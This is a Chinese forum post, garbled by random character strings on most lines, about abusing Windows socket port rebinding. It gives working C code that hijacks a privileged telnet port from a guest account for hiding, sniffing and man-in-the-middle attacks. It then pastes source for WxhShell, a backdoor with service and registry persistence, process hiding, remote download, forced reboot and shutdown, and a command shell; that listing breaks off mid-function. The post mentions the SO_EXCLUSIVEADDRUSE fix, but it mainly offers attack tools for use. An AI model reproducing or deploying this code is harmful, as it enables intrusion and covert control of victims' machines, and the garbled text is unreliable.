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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ) Z^b)KAk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w15Qqh lK  
:IB@@5r1  
  saddr.sin_family = AF_INET; a|5^4 J \%  
M0$wTmXM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  A&8{0  
{%! >0@7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Dqz9NB  
>$ok3-tuU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W}0cM9 g  
)u67=0s2i+  
  这意味着什么?意味着可以进行如下的攻击: $(A LxC  
gfU@`A_N"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $6Az\Iu *  
vXUq[,8yf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K'tckJ#%  
m_;<7W&p]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -z6{!  
e4rhB"qQdn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \fjr`t]  
P"k`h=>!4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <{"Jy)Uf  
PrwMR_-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wLW[Vur[  
<JkmJ/X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "'zVwU  
0[QVU,]<  
  #include %<?U`o@*  
  #include .R! /?eN  
  #include S)L(~ N1  
  #include     L4 )  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1nAAs;`'  
  int main() XxeyGs^%9  
  { Dc;zgLLL  
  WORD wVersionRequested; 7 8n`VmH~L  
  DWORD ret; l<"Z?z  
  WSADATA wsaData; ~IIlCmMl,  
  BOOL val; r{1xjAT  
  SOCKADDR_IN saddr; Sb,lY<=  
  SOCKADDR_IN scaddr; b xFDB^  
  int err; PZB_6!}2[F  
  SOCKET s; "(cMCBVYdA  
  SOCKET sc; E3`&W8  
  int caddsize; `k.Nphx~%  
  HANDLE mt; Vh o3I[C  
  DWORD tid;   3`3`iN!8\@  
  wVersionRequested = MAKEWORD( 2, 2 ); ckCb)r_  
  err = WSAStartup( wVersionRequested, &wsaData ); oe,37xa4  
  if ( err != 0 ) { [:xpz,  
  printf("error!WSAStartup failed!\n"); U?W?VEOO!7  
  return -1; j 5{ "j  
  } f;Uf=.#F  
  saddr.sin_family = AF_INET; *B ]5K{N  
   s>+,u7EV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >|| =#;  
+w(>UBy-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); aH(B}wh{  
  saddr.sin_port = htons(23); ~P5;k_&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aNxq_pRb  
  { 5uxB)Dx)  
  printf("error!socket failed!\n"); ^+b ??K  
  return -1; tuWJj^  
  } 9X%H$>s  
  val = TRUE; SRfnT?u6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JrhDqyk*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) klON6<w  
  { b8$(j2B~  
  printf("error!setsockopt failed!\n"); V3] Z~@  
  return -1; U) B^R  
  } a-(OAzQ_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; HAOl&\)7"_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v==]v2 -  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S{.G=O  
u U;]/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +,$ SZO]  
  { D1g .Fek5  
  ret=GetLastError(); /_g-w93   
  printf("error!bind failed!\n"); %V2A}78  
  return -1; hErO.ad1o  
  } t.YY?5 l  
  listen(s,2); `:y {  
  while(1) (I7s[  
  { p#DJow  
  caddsize = sizeof(scaddr); ,4`=gKn  
  //接受连接请求 IJz=SV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lf?dTPrD  
  if(sc!=INVALID_SOCKET) OqNtTk+  
  { Ed$;#4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L28DBjE)A  
  if(mt==NULL) 64jFbbd-/  
  { B!X;T9^d  
  printf("Thread Creat Failed!\n"); F\U^-/0,  
  break; ,ag:w<km  
  } CpG]g>]L&[  
  } ` 0}z ;&:  
  CloseHandle(mt); ;kv/(veQ1<  
  } [n!5!/g>j  
  closesocket(s); XI"8d.VR  
  WSACleanup(); K[/sVaPZ  
  return 0; [8OQ5}do/  
  }   3|qT.QR`Z  
  DWORD WINAPI ClientThread(LPVOID lpParam) hCvK2Xu   
  { R3,O;9i  
  SOCKET ss = (SOCKET)lpParam; dnXre*rhz  
  SOCKET sc; wx2 EMr   
  unsigned char buf[4096]; ~[H+,+XLY+  
  SOCKADDR_IN saddr; Fu;\t 0  
  long num; 7%g8&d  
  DWORD val; |2'u@<(Z/  
  DWORD ret; -Nn@c|fz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 YB&b_On,f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5l]G1+  
  saddr.sin_family = AF_INET; 08 $y1;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I(2qXOG  
  saddr.sin_port = htons(23); Y(D&JKx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _RI!Z   
  { c@&-c[k^W  
  printf("error!socket failed!\n"); rz'A#-?'oG  
  return -1; IA$)E  
  } %40uw3  
  val = 100; BZr$x8%ki  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q(gc(bJV  
  { S]#xG+$<  
  ret = GetLastError(); oMNgyAp^  
  return -1;  +?I 1Og  
  } { t1|6R0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dY6A)[dAH'  
  { ^S]-7>Yyr  
  ret = GetLastError(); hnf7Q l}  
  return -1; 4x;vn8 yh  
  } Cvk n2T  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6~#$bp^-  
  { gqCDF H  
  printf("error!socket connect failed!\n"); czH`a=mjH  
  closesocket(sc); rQ+2 -|#  
  closesocket(ss); 8;vpa*  
  return -1; KOqp@K$  
  } W:z?w2{VI(  
  while(1) `5$B"p&i  
  { *RpBKm&^7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HXY,e$c#y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [->uDbtzL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %n7mN])  
  num = recv(ss,buf,4096,0); )08mG_&atL  
  if(num>0) bU+ z(Eg6  
  send(sc,buf,num,0); 1_Ag:> #X  
  else if(num==0) Z6Kw'3  
  break; kl&9M!;:n  
  num = recv(sc,buf,4096,0); IC[iCrB  
  if(num>0) {y0`p1  
  send(ss,buf,num,0); s1/:Ts[3i  
  else if(num==0) t^Hte^#S  
  break; V/; / &  
  } SA1| 7  
  closesocket(ss); p l.D h  
  closesocket(sc); cI g|sn  
  return 0 ; q)Uh_l.Cj  
  } [`'[)B  
L4wKG&  
%?`TyVt&0  
========================================================== QL{{GQ_dn  
v\;hI5WY  
下边附上一个代码,,WXhSHELL UCv9G/$  
)C0dN>Gb  
========================================================== bF#1'W&  
IW1+^F9NEw  
#include "stdafx.h" ?jDdF  
R,'` A.Kk  
#include <stdio.h> GNIZHyT(O  
#include <string.h> vXA+4 ?ZG  
#include <windows.h> >^!qx b-  
#include <winsock2.h> K/OE;;<IA  
#include <winsvc.h> P{{pp<tX*&  
#include <urlmon.h> K}(0H[P  
fQtV-\Bc  
#pragma comment (lib, "Ws2_32.lib") -55Pvg0ND  
#pragma comment (lib, "urlmon.lib") 68pB*(i  
"N|gU;~W  
#define MAX_USER   100 // 最大客户端连接数 $2?10}mrx  
#define BUF_SOCK   200 // sock buffer \@ j YY~  
#define KEY_BUFF   255 // 输入 buffer k OycS  
v o9Fj  
#define REBOOT     0   // 重启 O_n) 2t(c?  
#define SHUTDOWN   1   // 关机 acXB vs  
No1*~EQ  
#define DEF_PORT   5000 // 监听端口 MK*WStY  
^71!.b%  
#define REG_LEN     16   // 注册表键长度 /1Q i9uit  
#define SVC_LEN     80   // NT服务名长度 4kZ9]5#.  
X9lh@`3  
// 从dll定义API u\,("2ZW9+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y&$mN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S<+/Ep 2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /J-:?./  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g'F{;Ur  
;is*[r\|1  
// wxhshell配置信息 13X0LN  
struct WSCFG { 3Xun>ZQ-  
  int ws_port;         // 监听端口 IQz:D J  
  char ws_passstr[REG_LEN]; // 口令 #t^y$9^  
  int ws_autoins;       // 安装标记, 1=yes 0=no <Fc @T4Q,  
  char ws_regname[REG_LEN]; // 注册表键名 rps2sXGr  
  char ws_svcname[REG_LEN]; // 服务名 ^JKV~+ Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4IW7^Pq`P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ai 9UB=[R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6jGPmOM/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U6R"eQUTV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v@8 =u4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n<. T6  
quvdm68  
}; hkh b8zS  
JMnk~8O  
// default Wxhshell configuration %Q0J$eC  
struct WSCFG wscfg={DEF_PORT, Bx>)i8P7i0  
    "xuhuanlingzhe", "HuV'  
    1, !E0zj9 [ R  
    "Wxhshell", -}h+hS50F  
    "Wxhshell", vw'`t6  
            "WxhShell Service", ?-"%%#  
    "Wrsky Windows CmdShell Service", n$ri:~s  
    "Please Input Your Password: ", (($"XOU  
  1, |#r [{2sS  
  "http://www.wrsky.com/wxhshell.exe", 8, >YB+Hb  
  "Wxhshell.exe" z&"-%l.b@}  
    }; Q|^TR__  
#\Q{?F!4  
// 消息定义模块 %/86}DCfE?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~m]sJpW<"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E27N1J+1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;U +;NsCH  
char *msg_ws_ext="\n\rExit."; q66+x)  
char *msg_ws_end="\n\rQuit."; LOD'iiH6  
char *msg_ws_boot="\n\rReboot..."; kg>Ymo.  
char *msg_ws_poff="\n\rShutdown..."; | Q Y_ci  
char *msg_ws_down="\n\rSave to "; 3M nm2*\  
1lxsj{>U  
char *msg_ws_err="\n\rErr!"; q*<Fy4j  
char *msg_ws_ok="\n\rOK!"; GQNs:oRJ'  
^Ms)T3dM  
char ExeFile[MAX_PATH]; y5XHJUTu  
int nUser = 0; gZ5E%']sT  
HANDLE handles[MAX_USER]; rb/m;8v>  
int OsIsNt; 0]F'k8yLN  
C3H q&TVf/  
SERVICE_STATUS       serviceStatus; QFI8|i@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,C#Mf@b  
x<0-'EF/S  
// 函数声明 G%a8'3d,  
int Install(void); kH!I&4d&  
int Uninstall(void); hLVS}HE2  
int DownloadFile(char *sURL, SOCKET wsh); h48JpZ"  
int Boot(int flag); :J3ZTyjb  
void HideProc(void); x4PH-f-7  
int GetOsVer(void); RaK fYLw  
int Wxhshell(SOCKET wsl); Q9lw~"  
void TalkWithClient(void *cs); %f{1u5+5  
int CmdShell(SOCKET sock); d2Z kchf  
int StartFromService(void); Y4%Bx8  
int StartWxhshell(LPSTR lpCmdLine); +DWmutL  
X(-e-:B4;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AxaabS$\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pez 7HKW:  
Xwg|fr+p  
// 数据结构和表定义 FkdG@7Xf  
SERVICE_TABLE_ENTRY DispatchTable[] = @quNVx(y  
{ 58H[sM4>  
{wscfg.ws_svcname, NTServiceMain}, ^y?7B_%:B#  
{NULL, NULL} vrtK~5K  
}; %$b)l? !  
k,L,  
// 自我安装 uC3o@qGW<  
int Install(void)  [69[Ct  
{ oKIry 8'^N  
  char svExeFile[MAX_PATH]; _}X_^taTZS  
  HKEY key; 5Rv6+d  
  strcpy(svExeFile,ExeFile); s!\uR.  
U _~lpu  
// 如果是win9x系统,修改注册表设为自启动 73$^y)AvY  
if(!OsIsNt) { 4:\s.Z{!3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r( _9_%[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gy9+-7"V  
  RegCloseKey(key); uiO7sf6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W;]*&P[[   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dbTPY`  
  RegCloseKey(key); ubV|s|J  
  return 0; \*}JdEHB  
    } /znW$yh o  
  } ,}!OJyT  
} 8>Xyz`$kH  
else { ~jab/cR  
_y}]j;e8>{  
// 如果是NT以上系统,安装为系统服务 Azx4+`!-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vUGEzCM  
if (schSCManager!=0) N[ %^0T$  
{ (F$V m  
  SC_HANDLE schService = CreateService l`L}*Q- 5  
  ( ]8(_{@ /  
  schSCManager, *rO#UE2  
  wscfg.ws_svcname, UV%A l)3  
  wscfg.ws_svcdisp, ^CUeq"GYoZ  
  SERVICE_ALL_ACCESS, N|c;Qzl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O:fv1  
  SERVICE_AUTO_START, >9{Gdq[gyr  
  SERVICE_ERROR_NORMAL, 1FU(j*~:  
  svExeFile, 0>Y3>vwSl  
  NULL, 7Op6> i  
  NULL, uBLI!N-G  
  NULL, nB?$W4  
  NULL, 7:U^Ki  
  NULL G#ov2  
  ); Cf`s:A5<J  
  if (schService!=0) ]/!#:  
  { jX^uNmb  
  CloseServiceHandle(schService); 8kQ >M  
  CloseServiceHandle(schSCManager); UY*3b<F}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  k%V#{t.  
  strcat(svExeFile,wscfg.ws_svcname); Z~^)B8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .g.v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'rJkxU{  
  RegCloseKey(key); G>{Bij44  
  return 0; xU#f>@v!  
    } 7/lXy3B4  
  } T:aYv;#0  
  CloseServiceHandle(schSCManager); ~6`HJ  
} !Q!= =*1H  
}  Hu|;cbK  
ahNpHTPa  
return 1; B1>aR 7dsf  
} &wsxH4  
Q=lQy  
// 自我卸载 w,dDA2,  
int Uninstall(void) xJ>U_Gd  
{  V3WHp'1  
  HKEY key; +]-~UsM  
bCY8CIF  
if(!OsIsNt) { tz-, |n0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ec/1Z8}p  
  RegDeleteValue(key,wscfg.ws_regname); =$6z1] ;3  
  RegCloseKey(key); \Tf845  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { smQ<lwA  
  RegDeleteValue(key,wscfg.ws_regname); =Jfo=`da  
  RegCloseKey(key); tgy*!B6a~  
  return 0; |Id0+-V ?  
  } 8%]o6'd4  
} h.@5vhD  
} Q?KWiFA}'  
else { FU9q|!2Y  
p9k' .H^:_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I/D (gY06<  
if (schSCManager!=0) H(U`S  
{ 4(>|f_$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K^j7T[pR  
  if (schService!=0) \EF^Ag  
  { 4$ LVl  
  if(DeleteService(schService)!=0) { G9ku(2cq  
  CloseServiceHandle(schService); +CL`]'~;E-  
  CloseServiceHandle(schSCManager); 8SII>iL{  
  return 0; SW|{)L,  
  } 25%[nkO4  
  CloseServiceHandle(schService); /?<o?IR~6  
  } H'E(gc)>)  
  CloseServiceHandle(schSCManager); $s-/![ 6  
} VWqmqR%  
} .}Va~[0j  
zKB$n.H  
return 1; 2TB>d+  
} ssGp:{]v/  
e ?FjN 9  
// 从指定url下载文件 Mz,G;x}  
int DownloadFile(char *sURL, SOCKET wsh) &@CcH_d*  
{ (27bNKr  
  HRESULT hr; v7x %V%K  
char seps[]= "/"; ygoA/*s  
char *token; Os--@5e  
char *file; %fB]N  
char myURL[MAX_PATH]; ^$-ID6  
char myFILE[MAX_PATH]; ` 6a  
b_2bg>|;  
strcpy(myURL,sURL); gE$D#PZa  
  token=strtok(myURL,seps); xi|T7,\X  
  while(token!=NULL) CX/ _\0 G4  
  { +VxzWNs*JP  
    file=token; D4nYyj1O3  
  token=strtok(NULL,seps); -\C;2&(  
  } r:fMd3;gq  
BEWDTOY[  
GetCurrentDirectory(MAX_PATH,myFILE); Lky<L96  
strcat(myFILE, "\\"); ~>v v9-_  
strcat(myFILE, file); lezX-5Z  
  send(wsh,myFILE,strlen(myFILE),0); tnL$v2e6q  
send(wsh,"...",3,0); v4c*6(m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S"+X+Oxp7?  
  if(hr==S_OK) ~n9x ,  
return 0; Aw#@}TGT  
else c'#w 8 V  
return 1; }ZaZPB/_}P  
(JV [7u -  
} ZBYFQTEE  
A=8%2U wI  
// 系统电源模块 WUnz  
int Boot(int flag) f@Oi$9CZn  
{ FI|jsO 3  
  HANDLE hToken; cQM_kV??!  
  TOKEN_PRIVILEGES tkp; E6+c{41B  
wD+4#=/j  
  if(OsIsNt) { X0a)6HZ{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8SH&b8k<<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .d mUh-  
    tkp.PrivilegeCount = 1; o@T-kAEf-.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b ]A9$-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WBc,/lgZ  
if(flag==REBOOT) { v+\&8)W=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Cn6<I{`\  
  return 0; R^u 1(SF  
} )wT @`p"4  
else { _,r2g8qm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d2'1 6.lV  
  return 0; nh"8on]M~  
} Klr+\R@(n  
  } #R^^XG`1  
  else { GnTCq_\  
if(flag==REBOOT) { Owd{;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _#;UXAi  
  return 0; M/<>'%sj  
} mf4C68DI@u  
else { N{kp^Byim0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jimWLF5Q5"  
  return 0; M/?*?B  
} vca]yK<u  
} b { M'aV  
$W_sIS0\z  
return 1; OoIs'S-Z#  
} 7bk=D~/nSg  
N$&)gI:  
// win9x进程隐藏模块 T( LlNq  
void HideProc(void) ~;)H |R5kV  
{ 5N~JRq\  
'tJb(X!]q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =[_=y=G  
  if ( hKernel != NULL ) qS|ns'[  
  { uv#."_Va  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @O]v.<8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  yxx9h3  
    FreeLibrary(hKernel); p)&Yr  
  } 1@}s:  
J ?y0R X  
return; Xzn}gH]  
} 8u|F %Sg  
0(o{V:l%Z|  
// 获取操作系统版本 DH IC:6EY  
int GetOsVer(void) G*N}X3H:o  
{ ==!k99`f,  
  OSVERSIONINFO winfo; 9_Ws8nE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,S V34+(  
  GetVersionEx(&winfo); FTJvkcc?m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UI]UxEJ  
  return 1; ?GT,Y5  
  else k`(Cwp{Oc  
  return 0; Kry^ 47"  
} L9} %tEP  
IIh \ d.o  
// 客户端句柄模块 Fo.p}j+>  
int Wxhshell(SOCKET wsl) 'nQQqx%v  
{ lnQfpa8j  
  SOCKET wsh; l $:?82{  
  struct sockaddr_in client; qmy3pnL  
  DWORD myID; Oaj$Z- f  
^l8&y;-T  
  while(nUser<MAX_USER) !,Uzt1K:  
{ bmP2nD6  
  int nSize=sizeof(client); 0wE)1w<C~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l>D!@`><I  
  if(wsh==INVALID_SOCKET) return 1; qGkD] L  
U32&"&";c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wSPwa,)7s  
if(handles[nUser]==0) Sv>bU4LHf  
  closesocket(wsh); bdYx81  
else Eb~e=){  
  nUser++; |!6<L_31%  
  } .~AQxsGH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QLLMSa+! \  
Ha41Wn'tZ  
  return 0; E'^$~h$  
} 7=`_UqCV  
>HRL@~~Z  
// 关闭 socket 0 zn }l6OS  
void CloseIt(SOCKET wsh) qe_qag9  
{ jccSjGX@w  
closesocket(wsh); N@x5h8  
nUser--; _t-e.2a v  
ExitThread(0); I&Z+FL&@f  
} 6|10OTVu`  
f+V^q4  
// 客户端请求句柄 Aa!#=V1d  
void TalkWithClient(void *cs) +Ua.\1"6  
{ dw YGhhm  
aS/MlMf  
  SOCKET wsh=(SOCKET)cs; 8S#TOeQ  
  char pwd[SVC_LEN]; S%IhpTSe6  
  char cmd[KEY_BUFF]; VlFhfOR6t  
char chr[1]; h=o%\F4  
int i,j; #q9cjEd_7  
.vov ,J!Y  
  while (nUser < MAX_USER) { ,8&ND864v  
#!7b3>}  
if(wscfg.ws_passstr) { Aq,&p,m03  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <!a%GI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _%@ri]u{ov  
  //ZeroMemory(pwd,KEY_BUFF); |y DaFv  
      i=0; E HH+)mlo  
  while(i<SVC_LEN) { e3=-7FU  
20`QA u)'  
  // 设置超时 Lgrpy  
  fd_set FdRead; Sej(jJX1  
  struct timeval TimeOut; 8T"8C  
  FD_ZERO(&FdRead); "}^}3"/.  
  FD_SET(wsh,&FdRead); Z_ (P^/  
  TimeOut.tv_sec=8; PM8*/4Cu.5  
  TimeOut.tv_usec=0; U}c05GiQw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V2o1~R~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 58[.]f~0  
zOn% \  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nq 9{{oe  
  pwd=chr[0]; E6+ 6  
  if(chr[0]==0xd || chr[0]==0xa) {  I#U)  
  pwd=0; 7R#$Hm  
  break; Q7(I'  
  } XGSgx  
  i++; WKB K)=  
    } 2@>#?c7  
LB/1To  
  // 如果是非法用户,关闭 socket 8],tGMu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k.?@qCs[  
} rOTxD/  
.mvpFdn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Jl@YBzDfF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8fC 5O  
D[Kq`  
while(1) { rtT*2k*  
ueLdjASJ  
  ZeroMemory(cmd,KEY_BUFF); >vZ^D  
KA{ JSi  
      // 自动支持客户端 telnet标准   u iR[V~  
  j=0; &w{: qBa  
  while(j<KEY_BUFF) { =q<t,UP8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^ Q  
  cmd[j]=chr[0]; #sb@)Q  
  if(chr[0]==0xa || chr[0]==0xd) { 6I-Qq?L[H  
  cmd[j]=0; wj-z;YCV  
  break; d 6zfP1lQ  
  } G%XjDxo$I  
  j++; H{+[ ,l  
    } Lem:zXj  
u69fYoB'  
  // 下载文件 Wq"^{  
  if(strstr(cmd,"http://")) { ,A;wLI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g&fq)d  
  if(DownloadFile(cmd,wsh)) <4RP:2#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sG:tyvln  
  else A ^X1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;{Tf:j'g  
  } mu@IcIb>  
  else { AR6hfdDDT  
J9q[u[QZ9O  
    switch(cmd[0]) { n7iIY4gZ  
  VY j pl  
  // 帮助 Ct9dV7SH  
  case '?': { 18AlQ+')?w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MxLi'R=  
    break; N6w!V]b  
  } i ?]`9z  
  // 安装 }q=uI`  
  case 'i': { #8i9@w  
    if(Install()) )5Ofr-Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ldRisL  
    else 6a4-VX5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hs?cV)hDS  
    break; :\IZ-  
    } FGu#Pa  
  // 卸载 7qEc9S@  
  case 'r': { df7 xpV  
    if(Uninstall()) oWV^o8& GH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `c/mmS  
    else fB`7f $[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F~zrg+VDjL  
    break; f#| wb~  
    } (T1d!v"~"  
  // 显示 wxhshell 所在路径 57`9{.HB  
  case 'p': { ]udH`{]  
    char svExeFile[MAX_PATH]; YV)h"u+@0  
    strcpy(svExeFile,"\n\r"); B;^YHWJ6i  
      strcat(svExeFile,ExeFile); d/l>~%bR  
        send(wsh,svExeFile,strlen(svExeFile),0); /YD2F  
    break; #GIjU1-  
    } w ?"s6L3  
  // 重启 <gjA(xT5  
  case 'b': { v|GDPq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {]3Rk  
    if(Boot(REBOOT)) ~s -"u *>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IpKpj"eoLy  
    else { JXk<t5@D  
    closesocket(wsh); ;Ff5ooL{  
    ExitThread(0); nPj &a  
    } &0JCZ /e  
    break; nx|b9W<  
    } "XWO#,Ue  
  // 关机 `Uy4>?  
